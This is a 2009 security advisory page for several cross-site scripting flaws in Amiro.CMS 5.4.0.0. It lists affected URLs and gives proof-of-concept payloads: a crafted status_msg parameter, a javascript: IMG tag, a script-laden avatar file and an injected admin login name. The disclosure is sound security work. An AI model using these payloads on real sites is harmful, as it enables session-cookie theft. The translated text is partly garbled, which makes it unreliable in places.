Amiro.CMS 5.4.0.0 cross site scripting vulnerabilities

2009.10.20
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [ONSEC-09-004] Amiro.CMS Multiple XSS Objective: Amiro <= 5.4.0.0 Type: Cross-site scripting Threat: Medium Date Discovered: 01.07.2009 Date of notification Developer: 01.07.2009 Released fixes: 06.10.2009 Author: Vladimir Vorontsov OnSec Russian Security Group (onsec [dot] ru) Description: ================================================ ==== The vulnerability exists due to defect in the function test special characters in the string parameter status_msg. Especially the query with the tag [ALERT] [/ ALERT] allows you to make any sacrifices in the browser JavaScript code. Parameter status_msg serves to notify the user and processed at: ================================================== == http://localhost:7777/news http://localhost:7777/comment http://localhost:7777/forum http://localhost:7777/blog http://localhost:7777/tags http://localhost:7777/_admin/forum.php http://localhost:7777/_admin/discussion.php http://localhost:7777/_admin/guestbook.php http://localhost:7777/_admin/blog.php http://localhost:7777/_admin/news.php http://localhost:7777/_admin/srv_updates.php http://localhost:7777/_admin/srv_backups.php http://localhost:7777/_admin/srv_twist_prevention.php http://localhost:7777/_admin/srv_tags.php http://localhost:7777/_admin/srv_tags_reindex.php http://localhost:7777/_admin/google_sitemap.php http://localhost:7777/_admin/sitemap_history.php http://localhost:7777/_admin/srv_options.php http://localhost:7777/_admin/locales.php http://localhost:7777/_admin/plugins_wizard.php Special types of string parameter is as follows (the submission URL-decoded): ? status_msg = a: 2: (s: 3: "sys"; a: 0: () s: 5: "plain"; a: 1: (i: 0; a: 2: (s: 3: "msg "; s: 68:" ONsec.ru - XSS test [ALERT] \ "); alert (document.cookie) / / alert ([/ ALERT]"; s: 4: "type"; s: 4: "none ";}}} Implementation: http://localhost:7777/news/?status_msg=a% 3A2% 3A% 7Bs% 3A3% 3A% 22sys% 22% 3Ba% 3A0% 3A% 7B% 7Ds% 3A5% 3A% 22plain% 22% 3Ba% 3A1 % 3A% 7Bi% 3A0% 3Ba% 3A2% 3A% 7Bs% 3A3% 3A% 22msg% 22% 3Bs% 3A68% 3A% 22ONsec.ru% 20 -% 20XSS% 20test% 5BALERT% 5D% 5C% 27% 29% 3Balert% 28document.cookie% 29% 2F% 2Falert% 28% 5B% 2FALERT% 5D% 22% 3Bs% 3A4% 3A% 22type% 22% 3Bs% 3A4% 3A% 22none% 22% 3B% 7D% 7D% 7D ================================================== ==== Vulnerability exists in the processing function values of the tag [IMG], which serves to place the pictures in the message body. By sending a special message on the forum, guestbook or leave a comment, an attacker can execute arbitrary JavaScript code on the victim's computer, which will see his message. The result of the example depends on the browser, checked on Opera 9.52 build 10108. ================================================== ==== Implementation: [IMG] javascript: alert (document.cookie +% 27 \ n \ nONsec.ru% 27) [/ IMG] ================================================== ==== The vulnerability exists due to the lack of checks on user avatars. An attacker could upload an avatar with JavaScript code inside the file with the extension. PNG,. JPG or other image. When you open a full reference to this picture browser Internet Explorer <= 7, on a computer to execute contained within JavaScript code. ================================================== ==== Implementation: Create a file with the following contents: <script> alert (document.cookie + "\ n \ nONsec.ru") </ script> save it as avatar.png, then upload as your avatar. Open the link to the downloaded file browser InternetExplorer <= 7. ================================================== ==== The vulnerability exists due to the lack of filtering of characters in the user name when logging into the administrative console. When sending a POST request to a page http://localhost:7777/pages.php similar content: ================================================== ==== username = "> <script> alert (document.cookie +" \ n \ nONsec.Ru ") </ script> application returns the following response: <input class=field style="width:100px" type=text name="loginname" value=""> <script> alert (document.cookie + "\ n \ nONsec.Ru") </ script> "> Implementation: In the administrative console login prompt, enter the user name: "> <script> alert (document.cookie +" \ n \ nONsec.Ru ") </ script> and will realize the login attempt

Referencje:

http://xforce.iss.net/xforce/xfdb/53893
http://xforce.iss.net/xforce/xfdb/53892
http://www.vupen.com/english/advisories/2009/2967
http://www.onsec.ru/vuln?id=11
http://secunia.com/advisories/37065
http://packetstormsecurity.org/0910-exploits/ONSEC-09-004.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top